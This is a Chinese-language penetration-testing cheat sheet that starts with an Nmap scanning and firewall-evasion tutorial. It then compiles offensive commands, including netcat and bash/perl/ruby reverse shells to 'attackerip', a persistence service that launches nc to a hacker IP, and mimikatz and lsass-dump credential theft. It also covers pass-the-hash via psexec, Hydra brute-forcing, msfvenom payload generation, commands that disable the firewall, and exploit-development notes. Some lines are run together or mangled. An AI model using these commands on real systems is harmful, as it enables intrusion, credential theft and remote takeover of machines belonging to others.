TCP FIN / Xmas / NULL scanning。这三种扫描方式被称为秘密扫描(Stealthy Scan),因为相对比较隐蔽。FIN扫描向目标主机的端口发送的TCP FIN包或Xmas tree包/Null包,如果收到对方RST回复包,那么说明该端口是关闭的;没有收到RST包说明端口可能是开放的或被屏蔽的(open|filtered)。其中 Xmas tree 包是指 flags 中 FIN URG PUSH 被置为1的TCP包;NULL包是指所有flags都为0的TCP包。
UDP scanning。UDP扫描方式用于判断UDP端口的情况。向目标主机的UDP端口发送探测包,如果收到回复“ICMP port unreachable”就说明该端口是关闭的;如果没有收到回复,那说明UDP端口可能是开放的或屏蔽的。因此,通过反向排除法的方式来断定哪些UDP端口是可能出于开放状态。
其他方式。除上述几种常用的方式之外,Nmap还支持多种其他探测方式。例如使用SCTP INIT/COOKIE-ECHO方式来探测SCTP的端口开放情况;使用IP protocol方式来探测目标主机支持的协议类型(TCP/UDP/ICMP/SCTP等等);使用idle scan方式借助僵尸主机(zombie host,也被称为idle host,该主机处于空闲状态并且它的IPID方式为递增。详细实现原理参见:http://nmap.org/book/idlescan.html)来扫描目标在主机,达到隐蔽自己的目的;或者使用FTP bounce scan,借助FTP允许的代理服务扫描其他的主机,同样达到隐藏自己的身份的目的。
Nmap提供丰富的命令行参数来指定扫描方式和扫描端口。
扫描方式选项
-sS/sT/sA/sW/sM: 指定使用 TCP SYN/Connect()/ACK/Window/Maimon 方式对目标主机进行扫描。
-sU: 使用UDP扫描方式确定目标主机的UDP端口状况。
-sN/sF/sX: 指定使用TCP Null, FIN, and Xmas scans秘密扫描方式来协助探测对方的TCP端口状态。
--scanflags <flags>: 定制TCP包的flags。
-sI <zombiehost[:probeport]>: 指定使用idle scan方式来扫描目标主机(前提需要找到合适的zombie host)
-sY/sZ: 使用SCTP INIT/COOKIE-ECHO来扫描SCTP协议端口的开放的情况。
-sO: 使用IP protocol 扫描确定目标机支持的协议类型。
-b <FTP relay host>: 使用FTP bounce scan扫描方式
端口参数与扫描顺序
- -p <port ranges>: 扫描指定的端口。
实例: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9(其中T代表TCP协议、U代表UDP协议、S代表SCTP协议)- -F: 快速模式,仅扫描 TOP 100 的端口
- -r:不进行端口随机打乱的操作(如无该参数,nmap会将要扫描的端口以随机顺序方式扫描,以让nmap的扫描不易被对方防火墙检测到)。
- --top-ports <number>:扫描开放概率最高的number个端口(nmap的作者曾经做过大规模地互联网扫描,以此统计出网络上各种端口可能开放的概率。以此排列出最有可能开放端口的列表,具体可以参见文件:nmap-services。默认情况下,nmap会扫描最有可能的1000个TCP端口)
- --port-ratio <ratio>: 扫描指定频率以上的端口。与上述--top-ports类似,这里以概率作为参数,让概率大于--port-ratio的端口才被扫描。显然参数必须在在0到1之间,具体范围概率情况可以查看nmap-services文件。
扫描局域网内 192.168.100.2 主机为例。
命令:nmap -sS -sU -T4 -top-ports 300 192.168.100.2
扫描网络主机:nmap -sS -sU -T4 -top-ports 300 www.fi11sm31.com
版本侦测,用于确定目标主机开放端口上运行的具体的应用程序及版本信息。
Nmap提供的版本侦测具有如下的优点:
简要的介绍版本的侦测原理。版本侦测主要分为以下几个步骤:
版本侦测方面的命令行选项比较简单。
-sV: 指定让Nmap进行版本侦测
--version-intensity <level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。--version-light: 指定使用轻量侦测方式 (intensity 2)
--version-all: 尝试使用所有的probes进行侦测 (intensity 9)
--version-trace: 显示出详细的版本侦测过程信息。
命令:nmap -sV www.fi11sm31.com
操作系统侦测用于检测目标主机运行的操作系统类型及设备类型等信息。
Nmap 拥有丰富的系统数据库nmap-os-db,目前可以识别2600多种操作系统与设备类型。
Nmap使用TCP/IP协议栈指纹来识别不同的操作系统和设备。在RFC规范中,有些地方对TCP/IP的实现并没有强制规定,由此不同的TCP/IP方案中可能都有自己的特定方式。Nmap主要是根据这些细节上的差异来判断操作系统的类型的。
具体实现方式如下:
OS 侦测的用法简单,Nmap 提供的命令比较少。
- -O: 指定Nmap进行OS侦测。指定 -O 选项后先进行主机发现与端口扫描,根据扫描到端口来进行进一步的OS侦测。获取的结果信息有设备类型,操作系统类型,操作系统的CPE描述,操作系统细节,网络距离等。
- --osscan-limit: 限制Nmap只对确定的主机的进行OS探测(至少需确知该主机分别有一个open和closed的端口)。
- --osscan-guess: 大胆猜测对方的主机的系统类型。由此准确性会下降不少,但会尽可能多为用户提供潜在的操作系统。
命令:nmap -O 192.168.1.100
防火墙与IDS规避为用于绕开防火墙与IDS(入侵检测系统)的检测与屏蔽,以便能够更加详细地发现目标主机的状况。
Nmap提供了多种规避技巧,通常可以从两个方面考虑规避方式:数据包的变换(Packet Change)与时序变换(Timing Change)。
更多信息:http://nmap.org/book/man-bypass-firewalls-ids.html
-f; --mtu <val>: 指定使用分片、指定数据包的MTU.
-D <decoy1,decoy2[,ME],...>: 用一组IP地址掩盖真实地址,其中ME填入自己的IP地址。
-S <IP_Address>: 伪装成其他IP地址
-e <iface>: 使用特定的网络接口
-g/--source-port <portnum>: 使用指定源端口
--data-length <num>: 填充随机数据让数据包长度达到Num。
--ip-options <options>: 使用指定的IP选项来发送数据包。
--ttl <val>: 设置time-to-live时间。
--spoof-mac <mac address/prefix/vendor name>: 伪装MAC地址
--badsum: 使用错误的checksum来发送数据包(正常情况下,该类数据包被抛弃,如果收到回复,说明回复来自防火墙或IDS/IPS)。
判断防火墙的扫描
nmap -sF IP
nmap -sA IP
nmap -sW IP //ACK, 探测防火墙扫描
命令:nmap -v -F -Pn -D192.168.1.100,192.168.1.102,ME -e eth0 -g 3355 192.168.1.1
NSE 脚本引擎(Nmap Scripting Engine)是 Nmap 最强大最灵活的功能之一,允许用户自己编写脚本来执行自动化的操作或者扩展Nmap的功能。
NSE 使用 Lua 脚本语言,并且默认提供了丰富的脚本库,目前已经包含14个类别的350多个脚本。NSE的设计初衷主要考虑以下几个方面:
下面以 daytime.nse 脚本为例说明一下NSE格式。
NSE的使用Lua脚本,并且配置固定格式,以减轻用户编程负担。通常的一个脚本分为几个部分:
Nmap提供不少脚本使用的命令行参数。
-sC: 等价于 --script=default,使用默认类别的脚本进行扫描。
--script=<Lua scripts>: <Lua scripts>使用某个或某类脚本进行扫描,支持通配符描述
--script-args=<n1=v1,[n2=v2,...]>: 为脚本提供默认参数
--script-args-file=filename: 使用文件来为脚本提供参数
--script-trace: 显示脚本执行过程中发送与接收的数据
--script-updatedb: 更新脚本数据库
--script-help=<Lua scripts>: 显示脚本的帮助信息,其中<Luascripts>部分可以逗号分隔的文件或脚本类别。
配合脚本扫描 192.168.1.1,查看能否获得有用的信息。
命令:nmap -sV -p 80 -v --script default,http* 192.168.1.1
Nmap 扫描到 80端口是开放的,然后使用了大量的名字为 http 开头的脚本对其进行扫描。
原文地址:https://jivoi.github.io/2015/07/01/pentest-tips-and-tricks/
超全渗透测试工具实战使用技巧合集
# 主机发现,生成存活主机列表
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d' ' > LiveHosts.txt
# 端口发现,发现大部分常用端口
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt
# 端口发现,发现全部端口,但 UDP 端口的扫描会非常慢
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt
# 显示 TCP\UDP 端口
grep "open" FullTCP|cut -f 1 -d' ' | sort -nu | cut -f 1 -d'/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
grep "open" FullUDP|cut -f 1 -d' ' | sort -nu | cut -f 1 -d'/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'# 侦测服务版本
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
# 扫做系统扫描
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt
# 系统和服务检测
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
# 分段
nmap -f
# 修改默认 MTU 大小,但必须为 8 的倍数(8,16,24,32 等等)
nmap --mtu 24# 生成随机数量的欺骗
nmap -D RND:10 [target]
# 手动指定欺骗使用的 IP
nmap -D decoy1,decoy2,decoy3 etc.
# 僵尸网络扫描, 首先需要找到僵尸网络的IP
nmap -sI [Zombie IP] [Target IP]
# 指定源端口号
nmap --source-port 80 IP
# 在每个扫描数据包后追加随机数量的数据
nmap --data-length 25 IP
# MAC 地址欺骗,可以生成不同主机的 MAC 地址
nmap --spoof-mac Dell/Apple/3Com IP
cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz
tar -zxvf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse --script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse --script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan --script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all --script-args vulscancorrelation=1 target
1) 生成随机数量的欺骗
2) 爆破
3) 打包数据,就像原始的一个不扫描数据包
4) nmap -sI [Zombie IP] [Target IP]僵尸网络扫描, 首先需要找到僵尸网络的IP
5) nmap –source-port 53 target 指定源端口号
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f --mtu=24 --data-length=1337 -T2 target //随机扫描形式差异IP
nmap -Pn -T2 -sV --randomize-hosts IP1,IP2
nmap --script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (all scan default)
注:DIRB 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patator,dirsearch,DirBuster, 国内的御剑等等。
使用方法:dirb 目标 字典路径
dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt
# git clone https://github.com/lanjelot/patator.git /usr/share/patator
# SMTP 爆破
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE00=/usr/share/john/password.lst
$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE00=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE00=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE00=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'
注:Fierce 会检查 DNS 服务器是否允许区域传送。如果允许,就会进行区域传送并通知用户,如果不允许,则可以通过查询 DNS 服务器枚举主机名。类似工具:subDomainsBrute 和 SubBrute 等等
# http://ha.ckers.org/fierce/
$ ./fierce.pl --dns example.com
$ ./fierce.pl --dns example.com --wordlist myWordList.txt
Nikto 是一款开源的网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件CGIs;超过625种服务器版本;超过230种特定服务器问题。
// -C 指定CGI目录, all 表示猜解CGI目录, -h 指定目标
nikto -C all -h http://IP
WPScan 是 Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。
git clone https://github.com/wpscanteam/wpscan.git
cd wpscan
./wpscan --url http://IP/ --enumerate p
Net-Square 的 Httprint 工具,是一个自动化的 http 指纹分析工具,带有可定制 web 服务器指纹数据库,运用统计学原理,组合逻辑学技术,可有效识别Http服务器的类型。
wget http://www.net-square.com/_assets/httprint_linux_301.zip // 下载
unzip httprint_linux_301.zip //解压
cd httprint_301/linux/ //切换到指定目录
// -h指定网站链接 -s 指定一个包含http签名的文件,默认就是signatures.txt
./httprint -h http://IP -s signatures.txt
注:Skipfish 是一款 Web 应用安全侦查工具,Skipfish 会利用递归爬虫和基于字典的探针生成一幅交互式网站地图,最终生成的地图会在通过安全检查后输出。
skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP
拓展学习:https://blog.csdn.net/xysoul/article/details/52270149
nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
Netcat 的一些用法
c:> nc -l -p 31337
#nc 192.168.0.10 31337
c:> nc -v -w 30 -p 31337 -l < secret.txt
#nc -v -w 2 192.168.0.10 31337 > secret.txt
用 NC 抓 banner
nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter>
使用 NC 在 Windows 上反弹 shell
c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80
nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
Unicornscan是一款通过尝试连接用户系统(User-land)分布式TCP/IP堆栈获得信息和关联关系的端口扫描器。它主要功能包括带有所有TCP变种标记的异步无状态TCP扫描、异步无状态TCP标志捕获、通过分析反馈信息获取主动/被动远程操作系统、应用程序、组件信息。
us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535
-H 在生成报告阶段解析主机名
-m 扫描类型 (sf - tcp, U - udp)
-Iv 详细
拓展学习:https://blog.csdn.net/qq_40633669/article/details/84656228
xprobe2 -v -p tcp:80:open IP
拓展学习:https://blog.csdn.net/yexiangcsdn/article/details/82867469
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
注:smbclient 命令属于 samba 套件。参数-I:指定服务器的IP地址。-N:不用询问密码。参数-u:指定用户名称。
snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.1037779
mimikatz.exe "privilege::debug""log""sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp""log""sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32 位系统
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64 位系统
使用手册:https://the.earth.li/~sgtatham/putty/0.73/htmldoc/index.html
// 转发远程端口到目标地址
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP
Metasploit 中的 Meterpreter 模块在后渗透阶段具有强大的攻击力,这里整理了meterpreter 的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。
Meterpreter 命令详解:https://www.cnblogs.com/backlion/p/9484949.html
后渗透之 meterpreter 使用攻略:https://xz.aliyun.com/t/2536
// https://www.offensive-security.com/metasploit-unleashed/portfwd/
// 转发远程端口到目标地址
meterpreter > portfwd add -l 3389 -p 3389 -r 172.16.194.141
kali > rdesktop 127.0.0.1:3389
// 参考文章:https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/
run getgui -u admin -p 1234
run vnc -p 5043
远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。位于TCP/IP协议族的应用层。在使用RDP协议的会话中,客户端的鼠标或者键盘等消息经过加密后传输到远端服务器并予以重放执行,而远端服务器所进行的一系列响应也以加密消息的形式通过网络回传给客户端,并借助客户端的图形引擎表示出来。
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
netsh firewall set opmode disable
拓展学习:https://blog.csdn.net/kevinstoic/article/details/9004784
mimikatz 在内网渗透中是个很有用的工具。它可能让攻击者从内存中抓到明文密码。不仅如此,它还可以提升进程权限,注入进程,读取进程内存等等,mimikatz包含了很多本地模块,更像是一个轻量级的调试器。
git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full
//访问git项目
git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U hash //IP cmd
或者
apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP
或者
meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell
hashcat 号称世界上最快的密码破解,世界上第一个和唯一的基于GPGPU规则引擎,免费多GPU(高达128个GPU),多哈希,多操作系统(Linux和Windows本地二进制文件),多平台(OpenCL和CUDA支持),多算法,资源利用率低,基于字典攻击,支持分布式破解等等。
密码破解全能工具:Hashcat密码破解攻略:https://www.freebuf.com/sectool/164507.html
hashcat -m 400 -a 0 hash /root/rockyou.txt
nc 192.168.0.1080
GET / HTTP/1.1Host:192.168.0.10
User-Agent: Mozilla/4.0Referrer: www.example.com
enter
enter
c:\ nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:\ nc example.com 80 -e cmd.exe
nc -lp 80
nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
find / -user root -perm -4000 -print // 查找SUID root 文件
find / -group root -perm -2000 -print // 查找SGID root 文件
find / -perm -4000 -o -perm -2000 -print // 查找任何人拥有的 SUID 和 SGID 文件
find / -nouser -print // 查找不属于任何用户的文件
find / -nogroup -print // 查找不属于任何组的文件
find / -type l // 查找符号链接及其指向的内容
python -c 'import pty;pty.spawn("/bin/bash")'
python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888
fuser -nv tcp 80
fuser -k -n tcp 80
Hydra 是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务,支持Linux、Windows、Mac平台安装,其中Kali Linux中自带Hydra。
爆破神器 Hydra 使用说明:https://blog.csdn.net/qq_40657585/article/details/84557478
hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp
注:L后面是账号集,P后面是密码集。
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
gcc -m32 -o output32 hello.c (32 位)
gcc -m64 -o output hello.c (64 位)
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
NASM 全称 The Netwide Assembler,是一款基于80×86和x86-64平台的汇编语言编译程序,其设计初衷是为了实现编译器程序跨平台和模块化的特性。
主页:https://www.nasm.us/index.php
nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
SSH 内网穿透的N种姿势:https://blog.csdn.net/MasonQAQ/article/details/78190400
ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target
ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target
Meterpreter命令详解:https://www.cnblogs.com/backlion/p/9484949.html
route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E
或者
https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0 255.255.255.0 Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address : 10.1.13.
ExploitDB 是一个面向全世界黑客的漏洞提交平台,该平台会公布最新漏洞的相关情况,这些可以帮助企业改善公司的安全状况,同时也以帮助安全研究者和渗透测试工程师更好的进行安全测试工作。Exploit-DB 提供一整套庞大的归档体系,其中涵盖了各类公开的攻击事件、漏洞报告、安全文章以及技术教程等资源。
git clone https://github.com/offensive-security/exploit-database.git
cd exploit-database
./searchsploit –u
./searchsploit apache 2.2
./searchsploit "Linux Kernel"
cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3
MSF是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c
msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe
// 使用 uid 查找对应的程序
find / -uid 0 -perm -4000// 查找哪里拥有写权限
find / -perm -o=w// 查找名称中包含点和空格的文件
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print// 查找不属于任何人的文件
find / -nouser// 查找未链接的文件
lsof +L1// 获取进程打开端口的信息
lsof -i// 看看 ARP 表中是否有奇怪的东西
arp -a// 查看所有账户
getent passwd// 查看所有用户组
getent group// 列举所有用户的 crontabs
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done// 生成随机密码
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4// 查找所有不可修改的文件
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’// 使文件不可修改
chattr -i file
msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f cCOMMONLY USED BAD CHARACTERS:
\x00\x0a\x0d\x20 For http request
\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_)// 常用命令:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )!pvefindaddr pattern_create 5000
!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh!mona config -set workingfolder C:\Mona\%p
!mona config -get workingfolder
!mona mod
!mona bytearray -b "\x00\x0a"
!mona pc 5000
!mona po EIP
!mona sugg
SEH ( Structured Exception Handling ),即结构化异常处理,是 windows 操作系统提供给程序设计者的强有力的处理程序错误或异常的武器。
SEH的介绍及实战:https://blog.csdn.net/qq_40890756/article/details/89950455
windows-SEH详解:https://bbs.pediy.com/thread-249592.htm
// 参考文章:https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)
ROP ( Return-Oriented Programming ) 是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。
DEP( Data Execution Prevention )是一套软硬件技术,在内存上严格将代码和数据进行区分,防止数据当做代码执行。
# https://en.wikipedia.org/wiki/Return-oriented_programming
# https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B
# https://en.wikipedia.org/wiki/Data_Execution_Prevention
# http://baike.baidu.com/item/DEP/7694630
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)
# https://en.wikipedia.org/wiki/Address_space_layout_randomization
# http://baike.baidu.com/view/3862310.htm
!mona noaslr
Egg hunting 这种技术可以被归为 "分级shellcode",它主要可以支持你用一小段特制的shellcode来找到你的实际的(更大的)shellcode(我们的‘鸡蛋‘),原理就是通过在内存中搜索我们的最终shellcode。换句话说,一段短代码先执行,然后再去寻找真正的shellcode并执行。– 参考自看雪论坛 ( http://www.tiejiang.org/goto/o5p5 ) ,更多详情可以查阅我在代码注释中增加的链接。
# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
# http://www.pediy.com/kssd/pediy12/116190/831793/45248.pdf
# http://www.fuzzysecurity.com/tutorials/expDev/4.html
!mona jmp -r esp
!mona egg -t lxxl
\xeb\xc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'
# 设置断点
break *_start
# 执行下一个命令
next
step
n
s
# 继续执行
continue
c
# 数据
checking 'REGISTERS' and 'MEMORY'
# 显示寄存器的值: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)
# 显示特定内存地址的值
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)
bash -i >& /dev/tcp/X.X.X.X/443 0>&1
exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done
# or: while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done
# or: while read line 0<&5; do $line 2>&5 >&5; done
/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# Win 平台
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# Win 平台
ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
